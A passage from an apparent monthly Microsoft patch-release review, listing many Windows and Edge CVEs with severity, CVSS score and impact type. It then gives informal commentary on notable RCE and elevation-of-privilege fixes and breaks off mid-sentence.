 CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a 